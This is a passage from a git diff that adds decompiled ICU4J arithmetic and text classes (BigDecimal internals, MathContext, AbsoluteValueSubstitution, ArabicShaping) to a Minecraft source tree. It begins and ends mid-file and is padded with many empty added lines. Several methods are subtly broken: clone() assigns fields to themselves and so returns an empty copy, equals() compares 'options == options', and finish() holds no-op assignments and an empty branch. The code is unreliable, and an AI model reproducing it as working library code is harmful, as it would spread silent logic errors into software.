+      if (lasthave % 5 == 0) {
+        mant[(have - 1)] = ((byte)(lasthave + 1));
+      }
+    }
+    
+
+
+    if (scale >= 0)
+    {
+
+      if (have != mant.length)
+      {
+        exp -= mant.length - have;
+      }
+      actdig = mant.length - (-exp - scale);
+      res.round(actdig, roundingMode);
+      
+
+      if (exp != -scale) {
+        mant = extend(mant, mant.length + 1);
+        exp -= 1;
+      }
+      return res.finish(set, true);
+    }
+    
+
+
+    if (have == mant.length) {
+      res.round(set);
+      have = reqdig;
+    } else {
+      if (mant[0] == 0) {
+        return ZERO;
+      }
+      
+
+      newmant = new byte[have];
+      System.arraycopy(mant, 0, newmant, 0, have);
+      mant = newmant;
+    }
+    return res.finish(set, true);
+  }
+  
+
+  private void bad(char[] s)
+  {
+    throw new NumberFormatException("Not a number: " + String.valueOf(s));
+  }
+  
+
+
+
+
+  private void badarg(String name, int pos, String value)
+  {
+    throw new IllegalArgumentException("Bad argument " + pos + " " + "to" + " " + name + ":" + " " + value);
+  }
+  
+
+
+
+
+
+
+
+
+  private static final byte[] extend(byte[] inarr, int newlen)
+  {
+    if (inarr.length == newlen)
+      return inarr;
+    byte[] newarr = new byte[newlen];
+    System.arraycopy(inarr, 0, newarr, 0, inarr.length);
+    
+    return newarr;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final byte[] byteaddsub(byte[] a, int avlen, byte[] b, int bvlen, int m, boolean reuse)
+  {
+    int op = 0;
+    int dp90 = 0;
+    
+    int i = 0;
+    
+
+    int alength = a.length;
+    int blength = b.length;
+    int ap = avlen - 1;
+    int bp = bvlen - 1;
+    int maxarr = bp;
+    if (maxarr < ap)
+      maxarr = ap;
+    byte[] reb = (byte[])null;
+    if ((reuse) && 
+      (maxarr + 1 == alength))
+      reb = a;
+    if (reb == null) {
+      reb = new byte[maxarr + 1];
+    }
+    boolean quickm = false;
+    if (m == 1) {
+      quickm = true;
+    } else if (m == -1) {
+      quickm = true;
+    }
+    int digit = 0;
+    
+    for (op = maxarr; 
+        op >= 0; op--) {
+      if (ap >= 0) {
+        if (ap < alength)
+          digit += a[ap];
+        ap--;
+      }
+      if (bp >= 0) {
+        if (bp < blength) {
+          if (quickm) {
+            if (m > 0) {
+              digit += b[bp];
+            } else
+              digit -= b[bp];
+          } else
+            digit += b[bp] * m;
+        }
+        bp--;
+      }
+      
+      if ((digit < 10) && 
+        (digit >= 0))
+      {
+        reb[op] = ((byte)digit);
+        digit = 0;
+      }
+      else
+      {
+        dp90 = digit + 90;
+        reb[op] = bytedig[dp90];
+        digit = bytecar[dp90];
+      }
+    }
+    
+    if (digit == 0) {
+      return reb;
+    }
+    
+
+
+    byte[] newarr = (byte[])null;
+    if ((reuse) && 
+      (maxarr + 2 == a.length))
+      newarr = a;
+    if (newarr == null)
+      newarr = new byte[maxarr + 2];
+    newarr[0] = ((byte)digit);
+    
+    if (maxarr < 10) {
+      int $24 = maxarr + 1;
+      for (i = 0; 
+          $24 > 0; i++) {
+        newarr[(i + 1)] = reb[i];$24--;
+      }
+    }
+    else {
+      System.arraycopy(reb, 0, newarr, 1, maxarr + 1); }
+    return newarr;
+  }
+  
+
+
+
+
+
+  private static final byte[] diginit()
+  {
+    int op = 0;
+    int digit = 0;
+    byte[] work = new byte['¾'];
+    
+    for (op = 0; 
+        op <= 189; op++) {
+      digit = op - 90;
+      if (digit >= 0) {
+        work[op] = ((byte)(digit % 10));
+        bytecar[op] = ((byte)(digit / 10));
+      }
+      else
+      {
+        digit += 100;
+        work[op] = ((byte)(digit % 10));
+        bytecar[op] = ((byte)(digit / 10 - 10));
+      }
+    }
+    return work;
+  }
+  
+
+
+
+
+
+  private static final BigDecimal clone(BigDecimal dec)
+  {
+    BigDecimal copy = new BigDecimal();
+    ind = ind;
+    exp = exp;
+    form = form;
+    mant = mant;
+    return copy;
+  }
+  
+
+
+
+
+  private void checkdigits(BigDecimal rhs, int dig)
+  {
+    if (dig == 0) {
+      return;
+    }
+    if ((mant.length > dig) && 
+      (!allzero(mant, dig)))
+      throw new ArithmeticException("Too many digits: " + toString());
+    if (rhs == null)
+      return;
+    if ((mant.length > dig) && 
+      (!allzero(mant, dig))) {
+      throw new ArithmeticException("Too many digits: " + rhs.toString());
+    }
+  }
+  
+
+
+
+  private BigDecimal round(MathContext set)
+  {
+    return round(digits, roundingMode);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private BigDecimal round(int len, int mode)
+  {
+    boolean reuse = false;
+    byte first = 0;
+    
+    byte[] newmant = null;
+    int adjust = mant.length - len;
+    if (adjust <= 0) {
+      return this;
+    }
+    exp += adjust;
+    int sign = ind;
+    byte[] oldmant = mant;
+    if (len > 0)
+    {
+      mant = new byte[len];
+      System.arraycopy(oldmant, 0, mant, 0, len);
+      reuse = true;
+      first = oldmant[len];
+    } else {
+      mant = ZEROmant;
+      ind = 0;
+      reuse = false;
+      if (len == 0) {
+        first = oldmant[0];
+      } else {
+        first = 0;
+      }
+    }
+    
+    int increment = 0;
+    
+
+    if (mode == 4) {
+      if (first >= 5)
+        increment = sign;
+    } else if (mode == 7)
+    {
+      if (!allzero(oldmant, len))
+        throw new ArithmeticException("Rounding necessary");
+    } else if (mode == 5) {
+      if (first > 5) {
+        increment = sign;
+      } else if ((first == 5) && 
+        (!allzero(oldmant, len + 1)))
+        increment = sign;
+    } else if (mode == 6) {
+      if (first > 5) {
+        increment = sign;
+      } else if (first == 5) {
+        if (!allzero(oldmant, len + 1)) {
+          increment = sign;
+        }
+        else if (mant[(mant.length - 1)] % 2 != 0)
+          increment = sign;
+      }
+    } else if (mode != 1)
+    {
+      if (mode == 0) {
+        if (!allzero(oldmant, len))
+          increment = sign;
+      } else if (mode == 2) {
+        if ((sign > 0) && 
+          (!allzero(oldmant, len)))
+          increment = sign;
+      } else if (mode == 3) {
+        if ((sign < 0) && 
+          (!allzero(oldmant, len)))
+          increment = sign;
+      } else {
+        throw new IllegalArgumentException("Bad round value: " + mode);
+      }
+    }
+    
+
+    if (increment != 0)
+    {
+      if (ind == 0)
+      {
+        mant = ONEmant;
+        ind = ((byte)increment);
+      }
+      else {
+        if (ind == -1)
+          increment = -increment;
+        newmant = byteaddsub(mant, mant.length, ONEmant, 1, increment, reuse);
+        if (newmant.length > mant.length)
+        {
+          exp += 1;
+          
+          System.arraycopy(newmant, 0, mant, 0, mant.length);
+        }
+        else {
+          mant = newmant;
+        }
+      }
+    }
+    
+    if (exp > 999999999)
+      throw new ArithmeticException("Exponent Overflow: " + exp);
+    return this;
+  }
+  
+
+
+
+
+
+
+  private static final boolean allzero(byte[] array, int start)
+  {
+    int i = 0;
+    if (start < 0) {
+      start = 0;
+    }
+    int $25 = array.length - 1;
+    for (i = start; 
+        i <= $25; i++) {
+      if (array[i] != 0) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+  private BigDecimal finish(MathContext set, boolean strip)
+  {
+    int d = 0;
+    int i = 0;
+    byte[] newmant = null;
+    int mag = 0;
+    int sig = 0;
+    
+    if ((digits != 0) && 
+      (mant.length > digits)) {
+      round(set);
+    }
+    
+
+
+    if ((strip) && 
+      (form != 0)) {
+      d = mant.length;
+      
+
+      for (i = d - 1; 
+          i >= 1; i--) {
+        if (mant[i] != 0)
+          break;
+        d--;
+        exp += 1;
+      }
+      
+      if (d < mant.length) {
+        newmant = new byte[d];
+        System.arraycopy(mant, 0, newmant, 0, d);
+        mant = newmant;
+      }
+    }
+    
+    form = 0;
+    
+
+
+    int $26 = mant.length;
+    for (i = 0; 
+        $26 > 0; i++) {
+      if (mant[i] != 0)
+      {
+
+        if (i > 0)
+        {
+          newmant = new byte[mant.length - i];
+          System.arraycopy(mant, i, newmant, 0, mant.length - i);
+          
+          mant = newmant;
+        }
+        
+
+        mag = exp + mant.length;
+        if (mag > 0) {
+          if ((mag > digits) && 
+            (digits != 0))
+            form = ((byte)form);
+          if (mag - 1 <= 999999999)
+            return this;
+        } else if (mag < -5) {
+          form = ((byte)form);
+        }
+        mag--;
+        if (((mag < -999999999 ? 1 : 0) | (mag > 999999999 ? 1 : 0)) != 0)
+        {
+
+          if (form == 2) {
+            sig = mag % 3;
+            if (sig < 0)
+              sig = 3 + sig;
+            mag -= sig;
+            
+            if ((mag >= -999999999) && 
+              (mag <= 999999999)) {}
+          }
+          else {
+            throw new ArithmeticException("Exponent Overflow: " + mag);
+          }
+        }
+        return this;
+      }
+      $26--;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    ind = 0;
+    
+    if (form != 0) {
+      exp = 0;
+    } else if (exp > 0) {
+      exp = 0;
+
+    }
+    else if (exp < -999999999) {
+      throw new ArithmeticException("Exponent Overflow: " + exp);
+    }
+    
+    mant = ZEROmant;
+    return this;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/math/MathContext.java b/src/minecraft/com/ibm/icu/math/MathContext.java
new file mode 100644
index 0000000..ee1223d
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/math/MathContext.java
@@ -0,0 +1,611 @@
+package com.ibm.icu.math;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class MathContext
+  implements Serializable
+{
+  public static final int PLAIN = 0;
+  public static final int SCIENTIFIC = 1;
+  public static final int ENGINEERING = 2;
+  public static final int ROUND_CEILING = 2;
+  public static final int ROUND_DOWN = 1;
+  public static final int ROUND_FLOOR = 3;
+  public static final int ROUND_HALF_DOWN = 5;
+  public static final int ROUND_HALF_EVEN = 6;
+  public static final int ROUND_HALF_UP = 4;
+  public static final int ROUND_UNNECESSARY = 7;
+  public static final int ROUND_UP = 0;
+  int digits;
+  int form;
+  boolean lostDigits;
+  int roundingMode;
+  private static final int DEFAULT_FORM = 1;
+  private static final int DEFAULT_DIGITS = 9;
+  private static final boolean DEFAULT_LOSTDIGITS = false;
+  private static final int DEFAULT_ROUNDINGMODE = 4;
+  private static final int MIN_DIGITS = 0;
+  private static final int MAX_DIGITS = 999999999;
+  private static final int[] ROUNDS = { 4, 7, 2, 1, 3, 5, 6, 0 };
+  
+
+  private static final String[] ROUNDWORDS = { "ROUND_HALF_UP", "ROUND_UNNECESSARY", "ROUND_CEILING", "ROUND_DOWN", "ROUND_FLOOR", "ROUND_HALF_DOWN", "ROUND_HALF_EVEN", "ROUND_UP" };
+  
+
+
+
+
+
+
+
+
+
+  private static final long serialVersionUID = 7163376998892515376L;
+  
+
+
+
+
+
+
+
+
+  public static final MathContext DEFAULT = new MathContext(9, 1, false, 4);
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public MathContext(int setdigits)
+  {
+    this(setdigits, 1, false, 4);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public MathContext(int setdigits, int setform)
+  {
+    this(setdigits, setform, false, 4);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public MathContext(int setdigits, int setform, boolean setlostdigits)
+  {
+    this(setdigits, setform, setlostdigits, 4);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public MathContext(int setdigits, int setform, boolean setlostdigits, int setroundingmode)
+  {
+    if (setdigits != 9)
+    {
+      if (setdigits < 0)
+        throw new IllegalArgumentException("Digits too small: " + setdigits);
+      if (setdigits > 999999999) {
+        throw new IllegalArgumentException("Digits too large: " + setdigits);
+      }
+    }
+    if (setform != 1)
+    {
+      if ((setform != 2) && 
+        (setform != 0))
+      {
+        throw new IllegalArgumentException("Bad form value: " + setform);
+      }
+    }
+    if (!isValidRound(setroundingmode))
+      throw new IllegalArgumentException("Bad roundingMode value: " + setroundingmode);
+    digits = setdigits;
+    form = setform;
+    lostDigits = setlostdigits;
+    roundingMode = setroundingmode;
+  }
+  
+
+
+
+
+
+
+
+
+  public int getDigits()
+  {
+    return digits;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public int getForm()
+  {
+    return form;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean getLostDigits()
+  {
+    return lostDigits;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getRoundingMode()
+  {
+    return roundingMode;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String toString()
+  {
+    String formstr = null;
+    int r = 0;
+    String roundword = null;
+    
+    if (form == 1) {
+      formstr = "SCIENTIFIC";
+    } else if (form == 2) {
+      formstr = "ENGINEERING";
+    } else {
+      formstr = "PLAIN";
+    }
+    
+    int $1 = ROUNDS.length; for (r = 0; $1 > 0; r++) {
+      if (roundingMode == ROUNDS[r])
+      {
+        roundword = ROUNDWORDS[r];
+        break;
+      }
+      $1--;
+    }
+    
+
+
+
+
+
+    return "digits=" + digits + " " + "form=" + formstr + " " + "lostDigits=" + (lostDigits ? "1" : "0") + " " + "roundingMode=" + roundword;
+  }
+  
+
+
+
+  private static boolean isValidRound(int testround)
+  {
+    int r = 0;
+    int $2 = ROUNDS.length; for (r = 0; $2 > 0; r++) {
+      if (testround == ROUNDS[r]) {
+        return true;
+      }
+      $2--;
+    }
+    
+
+
+    return false;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/AbsoluteValueSubstitution.java b/src/minecraft/com/ibm/icu/text/AbsoluteValueSubstitution.java
new file mode 100644
index 0000000..00a0f22
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/AbsoluteValueSubstitution.java
@@ -0,0 +1,1509 @@
+package com.ibm.icu.text;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class AbsoluteValueSubstitution
+  extends NFSubstitution
+{
+  AbsoluteValueSubstitution(int pos, NFRuleSet ruleSet, RuleBasedNumberFormat formatter, String description)
+  {
+    super(pos, ruleSet, formatter, description);
+  }
+  
+
+
+
+
+
+
+
+
+  public long transformNumber(long number)
+  {
+    return Math.abs(number);
+  }
+  
+
+
+
+
+  public double transformNumber(double number)
+  {
+    return Math.abs(number);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public double composeRuleValue(double newRuleValue, double oldRuleValue)
+  {
+    return -newRuleValue;
+  }
+  
+
+
+
+
+  public double calcUpperBound(double oldUpperBound)
+  {
+    return Double.MAX_VALUE;
+  }
+  
+
+
+
+
+
+
+
+  char tokenChar()
+  {
+    return '>';
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/ArabicShaping.java b/src/minecraft/com/ibm/icu/text/ArabicShaping.java
new file mode 100644
index 0000000..69bddbf
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/ArabicShaping.java
@@ -0,0 +1,1963 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.UBiDiProps;
+
+
+
+
+
+
+
+
+
+
+public final class ArabicShaping
+{
+  private final int options;
+  private boolean isLogical;
+  private boolean spacesRelativeToTextBeginEnd;
+  private char tailChar;
+  public static final int SEEN_TWOCELL_NEAR = 2097152;
+  public static final int SEEN_MASK = 7340032;
+  public static final int YEHHAMZA_TWOCELL_NEAR = 16777216;
+  public static final int YEHHAMZA_MASK = 58720256;
+  public static final int TASHKEEL_BEGIN = 262144;
+  public static final int TASHKEEL_END = 393216;
+  public static final int TASHKEEL_RESIZE = 524288;
+  public static final int TASHKEEL_REPLACE_BY_TATWEEL = 786432;
+  public static final int TASHKEEL_MASK = 917504;
+  public static final int SPACES_RELATIVE_TO_TEXT_BEGIN_END = 67108864;
+  public static final int SPACES_RELATIVE_TO_TEXT_MASK = 67108864;
+  public static final int SHAPE_TAIL_NEW_UNICODE = 134217728;
+  public static final int SHAPE_TAIL_TYPE_MASK = 134217728;
+  public static final int LENGTH_GROW_SHRINK = 0;
+  public static final int LAMALEF_RESIZE = 0;
+  public static final int LENGTH_FIXED_SPACES_NEAR = 1;
+  public static final int LAMALEF_NEAR = 1;
+  public static final int LENGTH_FIXED_SPACES_AT_END = 2;
+  public static final int LAMALEF_END = 2;
+  public static final int LENGTH_FIXED_SPACES_AT_BEGINNING = 3;
+  public static final int LAMALEF_BEGIN = 3;
+  public static final int LAMALEF_AUTO = 65536;
+  public static final int LENGTH_MASK = 65539;
+  public static final int LAMALEF_MASK = 65539;
+  public static final int TEXT_DIRECTION_LOGICAL = 0;
+  public static final int TEXT_DIRECTION_VISUAL_RTL = 0;
+  public static final int TEXT_DIRECTION_VISUAL_LTR = 4;
+  public static final int TEXT_DIRECTION_MASK = 4;
+  public static final int LETTERS_NOOP = 0;
+  public static final int LETTERS_SHAPE = 8;
+  public static final int LETTERS_UNSHAPE = 16;
+  public static final int LETTERS_SHAPE_TASHKEEL_ISOLATED = 24;
+  public static final int LETTERS_MASK = 24;
+  public static final int DIGITS_NOOP = 0;
+  public static final int DIGITS_EN2AN = 32;
+  public static final int DIGITS_AN2EN = 64;
+  public static final int DIGITS_EN2AN_INIT_LR = 96;
+  public static final int DIGITS_EN2AN_INIT_AL = 128;
+  public static final int DIGITS_MASK = 224;
+  public static final int DIGIT_TYPE_AN = 0;
+  public static final int DIGIT_TYPE_AN_EXTENDED = 256;
+  public static final int DIGIT_TYPE_MASK = 256;
+  private static final char HAMZAFE_CHAR = 'ﺀ';
+  private static final char HAMZA06_CHAR = 'ء';
+  private static final char YEH_HAMZA_CHAR = 'ئ';
+  private static final char YEH_HAMZAFE_CHAR = 'ﺉ';
+  private static final char LAMALEF_SPACE_SUB = '￿';
+  private static final char TASHKEEL_SPACE_SUB = '￾';
+  private static final char LAM_CHAR = 'ل';
+  private static final char SPACE_CHAR = ' ';
+  private static final char SHADDA_CHAR = 'ﹼ';
+  private static final char SHADDA06_CHAR = 'ّ';
+  private static final char TATWEEL_CHAR = 'ـ';
+  private static final char SHADDA_TATWEEL_CHAR = 'ﹽ';
+  private static final char NEW_TAIL_CHAR = 'ﹳ';
+  private static final char OLD_TAIL_CHAR = '​';
+  private static final int SHAPE_MODE = 0;
+  private static final int DESHAPE_MODE = 1;
+  private static final int IRRELEVANT = 4;
+  private static final int LAMTYPE = 16;
+  private static final int ALEFTYPE = 32;
+  private static final int LINKR = 1;
+  private static final int LINKL = 2;
+  private static final int LINK_MASK = 3;
+  
+  public int shape(char[] source, int sourceStart, int sourceLength, char[] dest, int destStart, int destSize)
+    throws ArabicShapingException
+  {
+    if (source == null) {
+      throw new IllegalArgumentException("source can not be null");
+    }
+    if ((sourceStart < 0) || (sourceLength < 0) || (sourceStart + sourceLength > source.length)) {
+      throw new IllegalArgumentException("bad source start (" + sourceStart + ") or length (" + sourceLength + ") for buffer of length " + source.length);
+    }
+    
+
+    if ((dest == null) && (destSize != 0)) {
+      throw new IllegalArgumentException("null dest requires destSize == 0");
+    }
+    if ((destSize != 0) && ((destStart < 0) || (destSize < 0) || (destStart + destSize > dest.length)))
+    {
+      throw new IllegalArgumentException("bad dest start (" + destStart + ") or size (" + destSize + ") for buffer of length " + dest.length);
+    }
+    
+
+
+    if (((options & 0xE0000) > 0) && ((options & 0xE0000) != 262144) && ((options & 0xE0000) != 393216) && ((options & 0xE0000) != 524288) && ((options & 0xE0000) != 786432))
+    {
+
+
+
+      throw new IllegalArgumentException("Wrong Tashkeel argument");
+    }
+    
+
+
+    if (((options & 0x10003) > 0) && ((options & 0x10003) != 3) && ((options & 0x10003) != 2) && ((options & 0x10003) != 0) && ((options & 0x10003) != 65536) && ((options & 0x10003) != 1))
+    {
+
+
+
+
+      throw new IllegalArgumentException("Wrong Lam Alef argument");
+    }
+    
+
+
+    if (((options & 0xE0000) > 0) && ((options & 0x18) == 16)) {
+      throw new IllegalArgumentException("Tashkeel replacement should not be enabled in deshaping mode ");
+    }
+    return internalShape(source, sourceStart, sourceLength, dest, destStart, destSize);
+  }
+  
+
+
+
+
+
+
+
+
+  public void shape(char[] source, int start, int length)
+    throws ArabicShapingException
+  {
+    if ((options & 0x10003) == 0) {
+      throw new ArabicShapingException("Cannot shape in place with length option resize.");
+    }
+    shape(source, start, length, source, start, length);
+  }
+  
+
+
+
+
+
+
+  public String shape(String text)
+    throws ArabicShapingException
+  {
+    char[] src = text.toCharArray();
+    char[] dest = src;
+    if (((options & 0x10003) == 0) && ((options & 0x18) == 16))
+    {
+
+      dest = new char[src.length * 2];
+    }
+    int len = shape(src, 0, src.length, dest, 0, dest.length);
+    
+    return new String(dest, 0, len);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public ArabicShaping(int options)
+  {
+    this.options = options;
+    if ((options & 0xE0) > 128) {
+      throw new IllegalArgumentException("bad DIGITS options");
+    }
+    
+    isLogical = ((options & 0x4) == 0);
+    
+    spacesRelativeToTextBeginEnd = ((options & 0x4000000) == 67108864);
+    if ((options & 0x8000000) == 134217728) {
+      tailChar = 65139;
+    } else {
+      tailChar = '​';
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean equals(Object rhs)
+  {
+    return (rhs != null) && (rhs.getClass() == ArabicShaping.class) && (options == options);
+  }
+  
+
+
+
+
+
+  public int hashCode()
+  {
+    return options;
+  }
+  
+
+
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder(super.toString());
+    buf.append('[');
+    
+    switch (options & 0x10003) {
+    case 0:  buf.append("LamAlef resize"); break;
+    case 1:  buf.append("LamAlef spaces at near"); break;
